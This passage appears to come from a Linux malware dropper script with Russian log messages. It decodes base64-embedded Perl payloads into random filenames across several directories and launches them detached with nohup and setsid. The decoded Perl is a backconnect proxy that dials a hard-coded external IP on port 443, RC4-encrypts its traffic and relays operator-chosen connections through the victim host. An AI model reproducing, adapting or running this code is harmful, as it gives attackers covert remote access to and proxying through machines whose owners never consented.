KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #41 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #41 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 42 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzYyLjYwLjEzMS4xOTAnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg 